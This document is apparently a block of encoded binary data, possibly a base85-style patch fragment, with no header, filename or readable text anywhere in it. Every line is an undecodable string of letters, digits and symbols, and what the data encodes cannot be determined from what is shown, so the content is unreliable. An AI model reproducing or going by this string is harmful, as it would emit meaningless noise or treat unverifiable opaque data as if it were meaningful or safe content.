zT29x->hdy0FxaFK^x?;;*J;lQba2_m@nA4#@@LtdD{L#&LT?ZWik!KGVF>IgF&2OY z?;<t=<(MN$7aCn(JKEvz&T7>$R8bX8px!&iHn(nNX0WY!F(ocYta-Cstqti)bCTKD z$FeP1sj=qCnLFQxg!0|Hf^}F2smTZ($F1k2o%YMm<i`}L2qJ(Xs8CA6SAE830JhkO zsOGNzmfebj=GD}iW9;^NnBZwOp|S)n;GZ3;p!SdRy)bFx4vl!1>91QmDubEJ@V>8V zzuu5>zg9urY+A(wY9h}>Y!wOj;b0ZL|3=ps=47&}bqz>5a?l?2atB9{ZV}xlN3})q z6^m?8O?S*NHMhcR6v(+C5xzdl_(^JTEg0b!keNvAX4TEC<~7o%)84ISAjSxQNDA*m z@-X|Q@}&p@Ie+JV!qFj%8AdgW2c7}XCWOzI7lj&$MJkUjpS%JdUOGj(5{{}kYd*(e z9sgz;s~z8|7I6z4^zy1uM2W!eE++5eSNU9(R;63vGX$SYzIxH!weEndNJL@Ind%dY z6qUvm&yyN&su{MP0KpbJO8<Z$G@*cOubS4A^csJXf1hWmV{#V_`K*m(?BJ!=4#k;# z;pQHW|96&@*>|RWVF&5`ZW5#~0-?NJkL3#$m>lYiHze|+Z$T_S;DITxL?K%Yv(AIO zhrE-p+`*m)r#R_9fOci-Pf)y|Ic$G;zbIUPF|uwhk6!rzg-690o#!00l)DBy1!R<; zgoL;-(aD>cG4upw2>_n>mw6`6d@;V1{1`Ur^~N}J3TFYOw|=ql5e`BU`ei3_GLK%> zu#~X5g#AeJG#hG~*ecnW{azx#^(2`kTTWtQm~}_5)m<gkvWz*|Y!8E_F14D9gEZoY zjp}$vnc}7{71TcI?0d>jhiU;tQ$WKe9ONf<lE{Zs%i9*b{4y+5OB1QOsHuP$hY&){ zfZ}Dxr;@7k_7Zn9f!4((1N`Fyiq}-9%YEr~<10Z}*(j-npnaNMMUjx}A-MOJCeL>< zg5mBoYZQoyx?!#c2<hg86zgFmeIBw5Z=D>f+wwmtXj^skUTy(Tw+M%Y;Bug14RvmU z#f5L6W2XM_U3r?4Dy0K1Pknxwya)iJ-1uHK71>MM4Bd*PBl_MT(m+!0<+w$mVa^{o zzCChz_sE8>2^w1NY;WUnn8jAv68I1es~qx-DQ4Ce>RLmM18wG*O~k3R#tQhBB;B!D zv7)eStQw!F@mIfIJlEVk)4z|}Pr*$YCR|-2#1H^?4Is0YAWx|%6&V#0V(^C%;)1!# zg&#C>>(fVpA^H}PHQz|dw#X@ms9y)fNGVx8n`!LFTHfhf1RWma!Sr>cS2qHCeZ2>G z4QF;BY<>~+eueVizHGosrIA1O-p|mT{{d7)KW{u8(w<ifMO8FK`s&UdGb2@mZZy}2 z2TH^#UN@C*Nf>o`jX5ZMJtuhgT-sP6e8bhm<<9H`WfI;cGKk`Slt1bk8JTcHf4l9~ z+f=~_t|ZUeH&^ms=;Kd`T042cojoBM0hZC$$MJ^0;SY6vgLX(DJXh=JPF4y9`h_+n z56kCfL$tH3>B@qA-|7->X30)deIE&26;hBgRq9HoYXoHSn|NE<VjnnIHMm?1TAI62 zHEHUtUNj6+yy`_fvDtnXobNClL8DB!p8+Fg!L+3CEo3}NJrdhP)vwIMWWIjm{uT%~ z**PJiRjZS(N6@Bi62(`3+&N`SrP{#Musk-Eh<z@sy6ArIzK`ry$`ia-H+{BEY?Eb- z&L~j#EHV~HcPqTRibJ8Warp+j>8Qz$->3MansRXk)E(Msvv6gB2`TM%C+i=dYeB}c zK8%uHkIQa)Lakts|FzpOo#*t+X`gB0r@1aHh9ySjF2)fQ!rBYp>*OuzO<ZqwUNR}L zimpvqiPT>f!yoYjM})<L0gMQb_iX?U(VQ&3DuHfzz?tjb;<RyL{#i&yVNVXXl)YMM zodH+iS0%;z4FdJAYat2Y=KS+ISDdbv1bkPQVWI7E+|o93Zry`!!XYwmtk3h@rRyt3 zx4obJ<iE#jX-c7FQByd@U}|u5Q)8!N*T>wP4Jq{)?lJ3wY*ml;c6OQ-<uYz?F#|Z& z(<yTPs=)ELDjfeK2Lk?9pPa3yE7mReI!3dlynoq<gVbHZYs=>nzKZshm1h0o&yKbR zkX&3tlK;h?ZXglnG17gb$+6AiRwXr81*gzQxs^}7#oe!yejd(9-KtFc?c|v-rk%6D zEf$ZM+51(H^zb6l8p>o-hCgihhHUC&Eoh|^<=NQY51Pq$gKMXz4l;d$J~ke7_BW(? zttP`tx$k6fXb>mV^xX2OIZB37Mr|3=kO*ktnvwS`n+w7cbyZ{YE$|;``m&aKNIYc{ zh`_nu=~F}z#&o=w{rp)Szq#?PRO)DCnVyj3p2H**P&)N_4rzR{C2-XMxG<3XX9pf` zBdh38ts<%QJ%p@_$uB<QrVDYlKBe5^pbRR3F1O?E5X?xxr}C=hX3K$t+0$I8xKv*` z{+}1q&g2q6;H(NiGG<g^RH036jfI{T6Rl_Vwi{p}LQ;C=c;ns*aP$}vTG+Kx9^HK% z2tFTlln?LzkWDOi8)rz8l$b+gdB-8eqF3C0E;RVFv<^o8*I(Gg*Bwuq2TN>(ntq24 zqRR<&Cm@FJLg0k>C?7AX=7MLBsbZ<)9+t><ANfmVf7Ufkba9Ltr#qLGv-J8yKef)B zu9)zk8k(sn7^7Evvr6BGyj=0nmaEtz!M7$WG1zbKja{NVc@wDf5KgLmwclrx$oACn zAVayW$k>%2zYVOo7q0{DG3(H-QJBZHKMTyBuV^omiV3P@z&vN_pnL7pOaW5TcfTu4 zpRhp9ed@@(j>P@sNm$8*7(h|StaO3xTUx=*22O7>PUn`d$zyNj+mX9Ev;cU<gvUP( zRIIpRZ_@e;+qB!3QxbUaukwozA6z1>X=f`>thbEowRTM-IE;CbqV?!cOspXCJ9Ebb z5a*rt`dMWeI3Df+=MOtFU6|iVf9{C{=js`&b>xD*6!T@w4VhM+Gt%#pM(r9dmy5vp zuJ-9TD1uw{x@qb&;IPmebm{QVOtUiV6{dpUi9|f1<z||{^%y*5%6HR0*INEs<h#7x zmL#<~^f)_!l3Ask8zbF2BaStk;7z7jRnWLnk0)F5Vssgpu#(zI;pKk4uk(O!yn(%+ z@-W}DzweT@<&tBtM@Nhqw+pQf8A74;m!k0a0#%z)!B4427sDBtu1!g{kl;0=6@pvO zoJ%&{h&QE4MX&b+F%&lWX_2pb4IPRL`xqzF+7k&~%2@g9qe$N2C?tE5ReT?Pj1diY z{b4A0S@2OKQvh?e9CK?1=IWHDnXAuyVjXiv7sH)O$?@g0rvjjv^6iLH#PROt)pypm z*AgTp+v#Y<NN3U^WOsMp`@vG0Mw+MA_q08K2R>=emahu*fC-SG_A7*l);g`GXx29q zn`6)#OKvQ$mgq$=W=`zA{Yu>{6Xi*gmaX^!&r}s<ZB`dxxN>#Y@v7=hTb7kLO~>%p z`w><-S`pT5nCqcgMn>IRV@VvalE3Z1H4^XAY4(cj4u8x|glZ>kN1%2=Ae_TiB~E6a zb{jT5r6aAbI^X=Rc4CM}t(xaT3tcvxDSxLDCIg7?iEeS5@GhNVn7AQHgOYjdYB+g9 z_wz$>g<5;y6U~RHWN`lg-W;Uf<;BN!-c&ElnifVdRj9o_2XRlbDc5YtH_1l~0ywN8 zd_s=V9t)|DLl#Lg8J{b63V}OS3L+FB9C<mV)+LlDYL9fvywAhHB&ZTHVtj*<2WD4l za-Uk<iWcPFWq}7?ATf5UA^pFx_tpVbZEL?U2oj2flG3b&G>CME(gM;Q(zWPDT0j~W zCEeZK-7Vc+($bB0ZPC5A?tRbs-t*r3e&@aS{xxJS=NMx?HRl-P`TZV&XLEVn^0QT| z!OIx=l(K7#=_wa3$)HD#?2;FdO~SLG)Pb;DN1mHw<4|M#*DA`syC-bBFGXGY@85Qh zP$N059%0#HnFAbFgX;sl=M=Z~$X|6kTRbn5_1&d|6+^mSOS_1&U*qxe=~<v-<$4G& zb`iC7>pCG8cE~<j^Mdn36mASddDFWHR(SYNi=O9xuJL5o$F5hOCwS5gkEV^M!;b_k zU54fPc%~8G-|nIZdR2jXBy5kH294$l9LuuXr`bO@l0+o(-C8FeLHut&Rp@&MBjkA( zfJthfi(%J6$mV53Ai<CS@j4|)`1B$1-`tT3=JM$JF@vEENLDQu;q4`35BX}aW(nc% ze>?o>@`WGU|M^1zxLqGB&8UkQ)3o>0z0L((JpPypyvHJprMcw3dX}v-L9<*}Rqn8% z1X{d$)mRf|l*zf*G4kmPvOTwV$;QZuwoQ%ztgVLbDBcssFy`~l@X*A$omS^zp+5GJ z%;7@yvo{Du50#GB$^)n6X>sfpBW40zjtZQtH-f%G<-Rp3oU&0@SFbTk%FoVxo8O#` zgE?>PcHpM;%uo0uOdNgzbaV4YCS1YqYS!9Reib7(o1p5g;*hG=&p8Mzt_c7kO_8FI z!3Jis4(u^)N7l1by4IY(J4484`dh8`g1LNjc)lCH!BHAy+dLSuZT?gjLd#vGg!0D) z&P|>T$fo*&V6*^U=nm$~>mPpy|8SoSDIuWKeF$6mj|)Hi$uL~1o1poB)hP1v)#)NR zkTZ#KHtn!|FdssX)Irdd;>zrU-z+rn_v!o?-8g^%DRd7pQn4=c+0<z%{1u58eTMT( zGVZ>)&;BiTE%Mdi<%M0yLO$*FXGQpGK{H^Y9CVTEtTG#51`?w2Ia?qEOgD;KGg2fs z)U7?kjC#_1OR}hJ8`Yf7DCvrSNNAmLAEo=o$H~wUDrT7hkqzDrrN1*b%2gva!9K_G zT>6$jEP6L)iD!7iK`Z6V65JZ}#Ap})i)21t=<bcH#s?+*#P1IMyFW6uH+t$Tg}0l> zYPQ+#?aU0bAdz+79+?51axUfPebc(r{X?lz_sl~gx~U#O0b~+Z68na_2_O@`^a@P; zCwee^>VP4JLkOjx&s@YQkkXqYZbmX`co|@knq1x(lJ_<iLQ@j-5D9H0l|aaPiQt1F zz_j-b%Q*9y1!oG|iV`~g>b(~XgX%`EKgKB#B!q7VVmClCsiIzc4^Z&V4zcHYQwlHQ zw}y6iG9k@BsZTVF-BCbV>?evyM4MxSPJeB6nAPGYdsSd1yYz617#KA2S5sV_Xvxs? zrV+&D=t`|+=%sF|ouiBF$q)eGx@*$MSE;(ykvF;~b&`7ZVRq>``N9xZ%!!k<S;c=w zBo*BtB39>JvnPfa^G@KxkBR<n8etj_qGPbju}$_#f_4U}OYiMlH>glXqX(GYck8fS zvb^^t<>uBCFB0py3UTxv5Xoi6hS48wz%B_GK^5ob<p2}0==ob9o%_QIe)p5&V{v8> zld1GdPoz+o-E{LarA}=kfCsy|aML3Bg&;)hJ5+x}W=TIKq%5QW!KL}+%+}i)o-?1L z>^MNrF<b;>_2`ObpV>-)MQ&3sifc%^rhSpXkL)m+RKd!*f-$Rr<&e{yZhZF0$}Ee$ z7la^KF|tvm>K#V(ambA`2qoW2Yjq^BaKbF~332g({(B~3vr}=W*P(mNA5vJ1O6W~J z-x9l@0+{Mg6<w<@V_Fm2Y!!0x%P?yiqk%*2>xNjusT=BIjGE98!Z!UjhPmeZm7z4N zsEk!rF#|J$5m<&DPmIk~pyD$L=7boz@<p-)#WiYOll>tDlWrmj_gpf9OIjg$LKAdM zr+GDzlY2}rmW2h%2sH^_AE4GIC~-E1R)+yBwGA#L50rwh%&tUnVh(qjnU2Tzp*^@l z`7!yyFr~JZ*&ZVBTx|LC1SJYKm=klSjb`Uq!%KZvv0tHdeXbI-GsH0RQ0qo8g2+cp zYa1|lSHU8S3S>)JOghCwd0u;&=(eZ*rx7tjPtJVTpfT42blF@4MK&I_^HE>+pZaIb zbWKO}l^RCf+d|xVm*%bYQP#`j(IU9j^BFI^-C6l%yrjX(uC-+C^sepU{-lw3t?F(= zFEkF~Wej&O${CN0G#OeJw@19Xens~6;6AB@xarF~ao+tbBPI0h2SSFuzrBvEKkKto z^cBkLgwgq%%ra7fK{6MRJ><b^l&QCn^eclaYM$8}NOduS>C7XZI<`bh!f#?7x*H}2 zl7J<-?rLwvy~^`V9;tWTF)^V#8721Jepz?!a``q>p>N$88Ihlk@kHN1BpC8%Esc&! z?dG^LK=QB7i0?)u{MKD|R_cuGt^S$M|NaM9SB>%ZK~7=3uz3h<079EgPy&I6aI+h6 zqk&dw>9ZAqb|$o1!TsPTtn<D%%hg?YL5}h?YZXbRHru2_=~ezx5w8^<0r@cqUK>W< zKl{=n`M?oLw$fJN&`7z?*pM-FFpad#j{3k0EO2B=Uu#a*hZh=z!o{#fDZA6?Fyx$m zvvA~SmUIz+#zak97B9^lCRtlv8;Cq^?9k>enM@Q@c_;DCA?ukr7U{S-5t`2l2rcs> zYq^3?Zk3+%CLQ)QyY2CHz}e;cKOuV%C=+We(fDNnd`v2;_KOavP`)Xd``=#sxqvpz zn!q;9-3&33*Co545)dxFC?<fF!ww$iCV?WS9JlhD%`pDi#*9Orl6_dMrkpqnZCjm+ zmft2N;!W4<uvn*8fOStyOt_C`*g$R=vo4Y;@~nR}#6K^k8<)9DApxWL^-6HaMwr4N z&&IWD;WppA8YEL{`+6YTD@Lu;NN7Jz&_=52I)|5x3w|Eo*+}CqzA&Y4#srQBx{{7o zqHeut0j-3T!V9W``8Zel^gCE7vGBBV#4_!ZdsNM;s2ewz@7F%yT<*OMFgJfg^mec} zvLElLzItIE%Xy&nCr_+88>$n>>v?>+u2H&7zQ)4(*!QJF$%_s6Ug~td4Mg|x$}(JW z!AUh&gI=l#3#9vN3pKzuFo}ZNV5j5bv<=3>!Smmi%1LpFR$@POoRRXYO9@uE%N9#O zb+3+|4A>_OpROBg<5#5H=>bAGpV}-|g!OUQma;_SP{J(*&Ou5LJ(9~hhPeC)XwO91 zpQBgUH2>CKj}Hjy>In@oci5D^^XqC39^@@aozQ-+le`c^R6f&U^^z0`j8<^gq!zb? zgb<#r%w_{H)>zam_+!Q@HP$lVerpKk3oB1_ZSeD^xa<7kGRr8Y@P&EAh7IjM$28R% z!>9E#&2Y)2=R6?2+JyOw6p_@!1^q}gPr;;}`@HY~@O5#JGgTYM`m3s11Eh{w^4jT+ zxx_xhm-@s_B=lVX*t7KCRLs8*VS9A(QTnNKyHmRlx2-m~t_G$~6!NWDJ?c|I<|T1~ zhuWruv~UOmd=Bj7);^^=&$pDrRD^IT${ZqjS65fN7JC!yZx&%-lF}*qog3S5jk8^U zl6v(n@}OenC^3l7j9{Y2tQ5Wu8Pv>UX)5&be8#(X1y-M^E}n}*HY*-NgZ6A1!W#MQ zr6>h@P(;iI4+xVUlG!!7i;qmX;L-AJanjdOXOWR1QIjRAq5#-SozOvy@rm$lNKI(S zPD_iF739PV>y#z>)c!hgmyn8e;hF9J?nt^51~E=I1>N?`^tAa*6}T)~%^)W`Z$+Iq z-9UZIA}$1?LrTet?wir;Ky$KNjI&tyQ?qLTA?RrN(53&>mBIEPu-0L4xbkF9RGb;t zG77W8pSqS{YgfdNxGaHJcZ(N>n*A0o*)vmGl-`%K7(yLBqjS6EA{czvr$x!R-!j+B zZk2vEzdGT_THJwJ`3J9y<FD!ZEDnn<kW~t(pJivqo|l}u>L#43yyAOk#-FoF4?5?u z3U!~zH$7~Nn1&S5y44tKH#lW4yz7(@6n2$;@pS2$C&ws?*-^Y^3sZp>G_|MEqh~|0 z=81E&@%Y^awbRO4&e_wGj?@$*DX#W_ThmwzV37&{k@_RqY<MIaXK2^U2u_=h#3{6m zwUTS6nd7GcD&@hvS0;&bl3hcmQ#>_^p#@|z4Pzt9MTA=QLEWZc*1i|79-GUqHV)u^ zuIhx114E5W*kHrCXLn<!nM_Z<U~I~X2!Y~XYsOne=CWtYOHg^(3`}GJf%40X!2X}D zUGFB&JwtXTbI8=Cu`sDBkkM<GgJ50#)|Q1{9b0Y<mp_<Z(RQK3p|jj%^RXmtus-R) zK3B5zl{X^m9+#26TP6Yp(~a@1^0hm8gLmam!j?}dx~!*LqXKjJ^ZYcDvLAP$*u~5L z>#w(HC@WRu=S5pbuaBljJc@5oss^0Vdr@)EWqZS)d$Z+Y*(O8ED>t<5+dT^@_8lK9 z+P&)UA;c#8cs^iH5N8MZ0+cE_64~9{sHnYo7|Bu|G`L&hYQqB%y3<27-J{JCL#!xN zF%Yb}weV1RM6oyA1Gd>}4xL_0kqb9fYt~Jw$Ohy<w!==jSt&nbt-)UuSn}UQfhFbL zHrPZS;v80NVZAyC*!VqiiU%PWeqd+l)UD&ja5fS%=L*Ta%vFOsf0{sgcJL|+jx<ts zUOc5%g|^-Lfq17x0A~}NMSLo{fb+5vsbQZTB6{N{34En$JDy2%GCZL}N6QP5wc_F6 z++oP7RrxDa^Cwk*$Tq5hZKw1MWm`XLXfx&e!zOJY(rMQ<WJmwb=2xs&vW=dC)|1yG z8d0%{NckpLs8>wsTSI&r_il_3&8~$-B>>fmK9`1pH12x-mhPr}I180lcvf*p%aD<7 zHMVcD--Yhj{p><55LzFtXgU9CPqc<!n<<7KTw|Dk-GFd->=g^P{QAe@qEc2jDH`;w z?ks|+B4v+;k!-ajEARc*p_FB3apPS)Nxd@{xvXzOf{dbcC!SAcX%OaQ4CU&tP>)sB z+Nlwuo_gh{3SO-hm0rE_mSD~%P+1bDwyMm+3-aRRB0c5fCzB*d)AJ?$&~{LTRFFyR z{+Vx(B>sEQB4}AqWq&8tYG-3WQ<lY<^%}8!opRBe`u*x#R#@#uWs`|{;xJ>q)B7Q~ zS#`OjmMo~nGgW|~wIBtYs~$L`gr{KJqHw_EUc<LI#dxPk<3J^w-VSdZS~KcQr;;dc z@e*`zdR&adxlm6EVi)ZMiRV6RXoFVEjE1R?EY^Gjvm$81i)OFhuLPhLFFB&BaN<eZ zJF59~6Lf-pl7%YWOda1TM_l>mP!P}<>k74RBaSf%rns~Beai-0hsdjW?-`j&9h4lz zU3rGOUZY2?ES%o_Pl8wv2PH0&m$K<f@IqPcBI=Ksh7A>*D4C@M-4wJDsNmWeze%tk zoR5XNFok;#DKf%3AjQs3@HFbs2k3<9a`%X<b)ji;#OA{Il<C}rCy*V_I-dB~MaSV9 zHDm}g+PMYJJC(I8(E)MC1s+w8tXgV>{F!|7%d4K%RC*w&v$~8?3g#)lQ86llU4#ZR zC@trRBGYh~T|O}F*q`Lt%)I3gx@#00zxWx(aOGDQg~@n<R(-WT7*z@~L63qabtnZ{ zo3Zmj(zi~;AdLJHRn^(vwO1u#Ye~dPzIqSZ%rlcXSGL$z)XUa-5nY4_r^Twte(G9v z)`hrn<k&zdAG~!c790QNBCJbFUY?L52umx~9h}4NOxfP}!AyTNy-G2ELhQEJ<LGPz z-Jtg(GwEgAF4R#I4is3xM%0^0Z9%}<dVFB|A!LZ^Q<O`?uTVil-`jClpOcGn--4v- zV&*Vjv|?XgUC<<?mJ~YZn(SQoY&)=LEnne@plQ62UOlvI*p|!{{0-w*s7{0Lt<f4r z)cCgDwdb^O<}Y23^^jlAnSO-|aS}nlg%o5I=Q)_>{@zv#5US)a9HJPKB>wcw3goHV zHnq2WyTHE=gzjuw>DtAW=I5&U6)Gd~e3$ThtC|v=KfZqfUluC4LwGy_p^i=c-sXl& zozy_;br79`DQ-M(V_a9toWC{YmVVroDvhfI!vZ`-t|OAyw!wEzft1j{@8c9mzNsr# zGgf_K%!0ZV(&y1J&ar{CP!*7+$O1A~t(0Ty&c%vyx0!?Bdo~>iK7b)*KTHHS`eu6x zcJ9#=vUYXdo^hwNE<crw-U>T+I=m$~y_MuU>N%|*zLUxi;dm`sSs6Q78NNGgrE13u zndx>Woebr@NEZP@*A&T1E={8xcsRx^w~gitrus0Qj`tSMH>|hih=l)D&2Rr3%0Dj{ z)yPg+7V~JP9WNKyAVviP?n@Jdh7V|H=h?T-D3*&YaSgdxo2~rC;3ud#r3$(&HT}l> z)3iVUc_FB|B>Av7$nN~KY7oPr%?7%_@{OorjBJJ5v`Fj+D_kEH#i>ZG*~3}d=kN=7 zcuy2|Aq)~MYc~#;@DLv>++MZe`Nh<&#_guP)Ael%fb_WjPW%<cCHS=;9Rk=lG9%Mg zE%W8l54@AopDEIekKFPoP2u|%&*orTKHs38JIC%2Czx-Txb{pClKXYul(&@QOVQdf zJyYs<LRQ!cWc}gv?sBC;$rv?<H^nN`$eDK8{;7~En6dhpJ7|h}a#HK4l5*WmmxRg^ z_11;1y%0Q*4?G*m#xK5{b?5)}f8(+RX6@{=HL8(c9tnw$5XZ3L6f$AZ;OI`n8nI;d z**%G$L;vFFT`ZU2d;3x*%qjMVtN&;%9VJrp9}!IBbLG9u<-(j_(J5l68|XTR_H;{K z#SgNYj&#K~f;Sd8#l{q1dBb?n)#7By-{xu96)8xDjl|p8BZ-lkt0op9jGi%2_)E|z zu;F}}tHFsn-Tl_shHG1;4hyv|*dP}dvY#|z#oQ$Lyvp=p0DX`vy3wb)A#4zOT1W2y z`I`Jv;wsSe%7dD1qY4MTz8q4dB;+D<cC+D^$hXF`MAyj7B5gX-7NR7^i6qS%<2}19 zTp|d-hCS?D$L6rDovj%^$*0`~nF>UVAVjXMdBX=dP^t_Ni&gf)N5XSPUi&E5%=4}> zn*AKodX&#=--L9OieysDaO%umSR(A49TG>y;UG*y&!$qpfbRnCZi=C)b2N5ISgMJ- zem5;P>I(MC=s3LNTv=I8IRyyU39(hzcmX7txa^Vis#x~tah6h|Nnmw(kRa5PCTheE zk?ZZELi&kghw>XOCz<@Mns=yamiI^275(WAp-C$uIiWi&cGcsRMbjc6X+MF};#)?o zOA8NFB=Nr3n~C`uOtOpM2Z;7Gt)lXFk(BLoH)qW-mG8#cJ*S6lXEfRp-fUj3)*ad} z>$QJiAEgjaY(JsfRO!53bq}X5zZ1}4wXa;`om7E{Nffhen5grnwbCl?v4a-6<~;{M zX2E^57J+WdN>^#;m@Va~*PqDByoc4E_J|oE((|7dhX-@n7CdLzl`gLU?>=OXHSI^z zBlmSj3`A&_JH}pt@mquUPZ~M?3>@`*7`+|`qyy5I<OnO=j~-*i6+#j@TOAK@At{YP zj|4`K3onCda!_J`pd>oZ5XVa$f`}2$hCI9ag3F7ko3BtGs);~~Duz$rgcweP>OY3z z-VWXqs>Nrh#Mv_1n9;u7zU9x7QU$lPn8k=!Zt>_ohAgwcT@9}2yqUQ6dXtj5W$iiD z)_4ke9oImNDRs9PQdS+J9a-|!|M$!PQW>bKjkSNN8ZVfT2P5PGrSKl%={+Nm=EkLJ z1h<*DX0?l0IXFgL#^#S^<FPAC;#a?-1hYgB*siW<F2-5fZw8fzHP6VMpH##;B%NB+ z2etmtl+c|<t5F`!%?~ooDuCynJneX8mx~aN2^&eE(DUXC^mc@%qXM7ecyIP_tmnj# zFF%dy-)TIrAye38fb=WWopBI?g0BiM9wZA8%A^teTU`F1!)AlChY3r3KiyRD>@}{E zUzxbhxppZay?aX^kt$AJ`+hR3G_c>CdEY04`_08%;*u$ACRu>INTP1!w$@_%i#~39 zzPG?MZMSqu9JZe0enOda$Z6;B#9JrUeaJt)bQ+?c77+`-Jsd4%LrA*UCqfpq3YM(S zyc>=xz*DKJ-g`yf8_oa(5+kh&aR;yrc6T67q6Q&941FEeL0L+YA3~2~#~8>8rD7^~ z)Cmu;vR-kMFu05-I<??1`$^tQjsFVXHFZlC;>VvGW(dzT4$+;z$$`=f-B}{Ui8bo> z=c_tfHGymOZMMqJX$-U7PkLUT!J*5l!gL9emb3;q9<uh>iwe8+kcs^zD5#SDrvR*y z_eD4mW&D46-W8vJhEIJM#a=#(sbEJY8cABt#$#CJi}{MsA=HzZ6$kqCv>R{9Sv2G( zTq5chkEmK&=E(gBS}ht$4p&nxLq*&R&|j0MR)y8_As3vNe7(zdZ*3so?ta8v_i(x| zNJ4VjltdsDeqKkjKM0Q3xxPe*l{;OS>#rRbF~+~%8b4G6l5jY$X^|f81|hF?c3GnI zh;S$2xhD&aW<UH>NKIGin(}a)BEzTR{vBGHp(rZCj2tHc$+{J5ePg81Z$mdD&Cjei ze`^5!Mg#|~#&h)Kq+q^E+;*moJtOH<nYIx*D5M=PpKKCyS%_LydtEc>UFx~jzTAgg zN>dt#{X@L8A#@ky@*vqT+l)1ARwX9mC~3Z~p0f7@Lj3d!`_^x>UKP&@J;SJ^5@HbC za@2VdA_N<R!f#af#y(ThV|H#kMt2#|0WKb%XCuAuMn>YCbTnnLtHN>_SP}c6*Kz=+ zqD^?&5Pt@CNs3R874{4JJ;w(ftUcG=GGiC2gVPLHw`j&@B?2bJsw8cSx#_e15W1MD z5awmXRS$=iPqJU3Ch2i#fCf)RXrNK+z)`wg&5&HEYpd78<rgQowLtoucFU*$JHf7% zo@g{yQ@&O_4~9gEh)?q62URuFYgs1~jkbvzQcjWpmOqm~lw}oY6w2=S>?+0nnQ=i` zR_bIcKEz30@8%m<#2s;id<43)W2O$lSajo`_#ZIR1qju%r{K%=%>K+GVJIaukz>pE ze|pCsAOD9a94PBM((@kntE)JeaCc^OL3;=j_Juo809=k-(63ifLXI<Mjn0M^w$xQr zV#Pr8bR>da@4aUFn)K!ZQ0OwCFKP}3Q+Mf2$H7xJ&Y;ZYy1HXz2Mw)>Q?q@rS*g%^ zO1MzdY>q_;il#a1DF)d$eNYB_+xYj(&iP0A$@yp=JswbzM{c!viTAz|D*4f;y_Ixp zjNT7z3aL^f@dfqHj=plg>QV7GrSll|E&Q1bWH==lVmF@CrN5X{>h>51(P>`)pLsp< zDakKSB)YhA8C?Fv4?-pC$6YT|g7PnQ{6dX$Ag5#|&0Ucd8M+lF#3kuSx%{Q<*zWOr z-#uv=yx5LoD6i>&>!VqU&U&Umh<TQUQ9UBX7;BFs9_w@WD0ms_u^^3zlTi@(zzwql z>K>yetU6kdlFR!O{H@gU8A<-dX$|~}Z5Fh9Vvjw0U~JztuRjx{A5<?VKk!a4U8_7a zZ4ep82qB_)w%k+`;<6R~E-V1VWz<lvQgU0iM=-21nJ^=)BK#DArsY*%pMtHRNcWbb zlQoQcQ%3w_7_4v;nm!kWuu83!-rIGa+TGzK4K&2tp{%yBc=mzOUP{Vr2Shgf^A_42 z9UWor@QnkPgeXJ=@6BGdSm_?mhaNdPY=G6-X3G~=Grw(-l-xGF-6fs5oQ*FFx6^lG zRf>+7jF1+in<JaGJ<bM<Oyl3mBE(MCf|_PKv$-=$I|Iwc4^cwx0g-G#T5Tvnbb4HG zt4M@)b7bD#P~{rELbx2fX7nzAEZsUeu2Ph3>)<?8K+sg$fsK4V-S#?iTIA<noL%Op zc#)$4DcX@|Opux}Jum2EncpTtB(nvhA2XMiucE|m9Xi9OZRc!9ZAQ`#TJy-Ny6+nr zVG$`6u)5*i+<LhyG~}v5p99t=83x~<!AO$|^d~@*edo!lk<{IEmNmm)@fH=tKKa4p zLvtWEZzd&t1_G?394;LuqoZ1`s-lLPXpD(Mr5$P>AL<MGRV--{@>z1$m2~B(_6onf zkSUGX5^<nu(JMrRj|=4Y-F0AB)_R{b!4)Xxbni44eymTceL@@jc$TSUikD1(ei#-~ z>}j`~%c?Tq(n4A?!#Q0}zamIZK|zX09@@PNz}39^wBVn@B}*=kNghUPm5gRwQF%oO z#C@0?q^@nbaMMf-v*2>?>bacL{q32rM9}`LhweV9=}q~~dVtJa&tFoPv>QJap?^e` z^+wg*P4R3c2y*oP8wHSTjcGP=?vp_fUd9ZopDh${<*Iu?^t2m_AQb>tFj@zaOBGfh z7rZkHilLd;CCL;`nvx`C<Y@=xPs<^15@Q8`YdY6>(uDlw$!Wsw)3!|$BFY&tRLN-E zxa-bjj0uI9bMNi8z^q=wrO(#+kmL;!8$@6ScGWZn)=fff<AdFNv1!J_g=400hd{X@ zQ>4)7YlR%ir|i{!ugV@=3A2*Eg~zic8oLo3#^)nx--#^cztxdxlCi|Y;AGWhgAL-_ z-d63yYIx>Bj+~sa32Q14qvCYI5rQcD{OXwIe7t>Zt~{_-Rc%(l?7@n47^?uzqD}(k zTTdgA_H9T`E*F@rXqbi?SP>3Ml&aWf_lXFj+hDJae2}D1N$&=)Jo*P4!5ZlLWk$ot z7_auV{PHqzokcfk%X{a%9t3SSODrZmXBF}C7;ICfhr+sv1kxfeazzs0K1uR;si`)k zt?kd%J34Hi`%iVu#H0MmR)7&9@b(1zjIczo@Na%1lnORK6(0Lz9>0U#OCYBn^m_!| zPaA$v7<|87UJl(^kgIhHpzs}>O#a8+Jt@IiomEaiqd$<XKNt{{AYTXAXDB*>8sAa$ zsXwsIlz!Z)1WP-ixqm~bperRbsy)jEW_tI7t>JeNeh&F%fRoR^{bPklCL3b04A1qi zGxYTwcAj>_N~7Kj9D<viCC3XIW2{k+Wjg6!^@=f$buAUU1z#z1+t1V*Y&k$G0Xi@Z zO6DyH*|`vpBu5UnxAc64G9-~^rUGY|!b8^<4Nx2zGYC03J)Lel9Um97E%6Q77}%km zt8?zy;Er>&yLpK|e6up;To9vVwwal!d1|yFTrn<UUujsbkLJMf{=F%$B{WWRC!};+ zSb)y@;CKBh0Ft%?^L&GPrHj2tR5%LDUWp9$)*3B&vtfU3O)%E0Hr5?}e?iG&bM!b9 zvmpBKwWb6yk<R~SDpjbfC~5Qs)F6@oeJMT8TPb=HP_lC5l=t717aiV?&_x30$|6`V zWQ#W{p%Pnyv)YaO2)b$sg3|=dOViM(bIs5AJQGg}m`iQ;P$VMol;M1k#L#VrsEuJG zmtOhYV_~zHsNNqho@r-)VMgN!C1z7iv(~^_(Sd9caNXOfE`&Fl_$Aa(!!UAo&YfC@ zwDw*A+}Xe<<mZkAg1pUxqOQ^^Ry^C1=g>RjXSWchV-L{3z<{s~{1*|l&f;c$kS#x$ zse-Ri<LhNH%)yMqeWwRFq+klQ%FsyvJ%ajrc7hYV;pvXn!7Iv6!bAp1THJjO8=iEl z++}C{7}Uz7i*7(FtO>^JJ>Uw=UZr{!YriU_$_NvbcwU1h0$7Iv#yFr*Y65R1YlX|; z5?tB#jR&iV3p~C473yzd7u~O+Mt@6LJwDe#Z*xr{0JTJAt{Y}?1z>HG=IP$dy67k? 